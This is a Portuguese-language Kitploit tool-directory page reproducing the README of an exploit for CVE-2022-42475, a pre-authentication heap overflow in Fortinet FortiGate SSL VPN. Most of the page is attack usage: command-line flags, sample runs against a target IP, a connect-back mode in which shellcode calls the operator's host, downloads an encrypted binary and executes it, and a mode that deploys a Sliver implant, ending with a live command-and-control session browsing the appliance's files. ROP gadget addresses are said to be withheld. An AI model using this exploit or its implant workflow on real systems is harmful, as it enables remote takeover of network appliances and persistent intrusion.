Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-42475 — Um exploit para CVE-2022-42475, um estouro de heap de pré-autenticação em produtos de rede da Fortinet | Kitploit
Ferramentas/GitHubGitHub/0xhaggis/cve-2022-42475
Análise de VulnerabilidadesExploraçãoRed TeamingFerramenta de Acesso RemotoDesenvolvimento de PayloadsExploração de Binários
GitHub0xhaggis/cve-2022-42475

CVE-2022-42475

Um exploit para CVE-2022-42475, um estouro de heap de pré-autenticação em produtos de rede da Fortinet

Ver Repositório
3313há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-42475

Contexto

Este é o exploit para o post do blog aqui: https://bishopfox.com/blog/exploit-cve-2022-42475

Versão Redigida

Esta versão do exploit não funcionará sem que você, o hacker, forneça os endereços de memória necessários para os gadgets ROP, etc. O trabalho para determinar esses dados é confidencial e proprietário da Bishop Fox e eu não vou (não posso) publicá-lo junto com este exploit. Confio que você entende!

Modos de operação

  • Somente validação, sem exploit. Determina se é vulnerável. Sem payload, sem shellcode.
  • Exploit, mas apenas verificar. Executa shellcode benigno de "ping" com conexão de retorno para verificar se o alvo é explorável.
  • Exploit com estagiário binário de conexão de retorno. O shellcode conecta de volta ao exploit, baixa um arquivo binário criptografado fornecido pelo operador (tipicamente https://gitub.com/BishopFox/Sliver), descriptografa o binário e então chama execve(binary_file).

Nota: Atualmente, o modo "somente validação" funciona em todas as versões conhecidas do FortiOS. No entanto, os exploits funcionam apenas contra o FortiOS 6.0.4 em hardware 100D. Não trabalho mais na BF e, portanto, não posso publicar o exploit expandido que suporta algo como 18k alvos.

Requisitos

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

Somente validação

Isso não fará nenhuma tentativa de explorar o bug, mas em vez disso o aciona como uma falha (o daemon remoto do SSL VPN reinicia automática e imediatamente). A falha é detectada heuristicamente e relatada ao operador.

Execute usando a flag de validação -v:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE

Exploit, mas validar (recurso disponível apenas para FortiOS 6.0.4 em appliances 100D no momento)

Isso acionará o bug, implantará uma cadeia ROP e saltará para o shellcode. O shellcode é benigno e funciona da seguinte forma:

  • Exploit conecta ao alvo e aciona a vulnerabilidade para executar o shellcode
  • Shellcode conecta de volta ao IP:porta do operador
  • Shellcode envia um único byte "hello" para o exploit: 0xbf
  • Exploit entrega um pequeno payload de teste criptografado ao shellcode (chave AES é aleatória a cada execução)
  • Shellcode descriptografa o payload e o salva em /tmp/x no appliance FortiGate
  • Shellcode envia outro byte 0xbf para o exploit se a descriptografia do payload foi bem-sucedida
  • Exploit lê o byte e confirma a execução do código.

Flags:

root@kitploit:~
-t           host/IP do alvo
-p           porta do alvo
-e           modo exploit
-c           modo apenas conexão de retorno
-H e -P      IP:porta do operador (obrigatório)
-s           versão do software FortiOS (obrigatório)
-m           modelo de hardware executando FortiOS
-d           ativar depuração

Um exemplo onde selecionamos a versão do software 6.0.4 e o modelo do appliance 100D:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!

Se você omitir o -m para escolher um modelo de hardware, o exploit fará brute-force em todos os alvos de hardware para a versão de software especificada.

Guerra Termonuclear Global

  • Operador especifica a localização de um binário do implante Sliver (baseado em Linux)
  • Exploit conecta ao alvo e aciona a vulnerabilidade para executar o shellcode
  • Shellcode conecta de volta ao IP:porta do operador
  • Shellcode envia um único byte "hello" para o exploit: 0xbf
  • Exploit criptografa o binário do Sliver e o envia para o shellcode
  • Shellcode descriptografa o binário e o salva em /tmp/x
  • Shellcode envia um byte de "sucesso" 0xbf para o exploit
  • Exploit lê o byte e confirma a execução do código
  • Shellcode chama execve("/tmp/x")
  • ???
  • Lucro!

Flags:

root@kitploit:~
-t           host/IP do alvo
-p           porta do alvo
-e           modo exploit
-f nome_do_arquivo  /caminho/para/binário/para/execve/no/alvo
-H e -P      IP:porta do operador para conexão de retorno (obrigatório)
-s           versão do software FortiOS (obrigatório)
-m           modelo de hardware executando FortiOS
-d           ativar depuração

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

Exploit:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.

E de volta no Sliver:

root@kitploit:~
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

Observe que o Sliver retorna <err> porque o FortiOS é mais ou menos tipo Linux, e nem sempre funciona da maneira que você esperaria. Isso é um problema do FortiOS, não do Sliver.

Mais versões em breve

Não trabalho mais na Bishop Fox, então você precisará seguir o github da BF para atualizações sobre isso.

Baixar ferramenta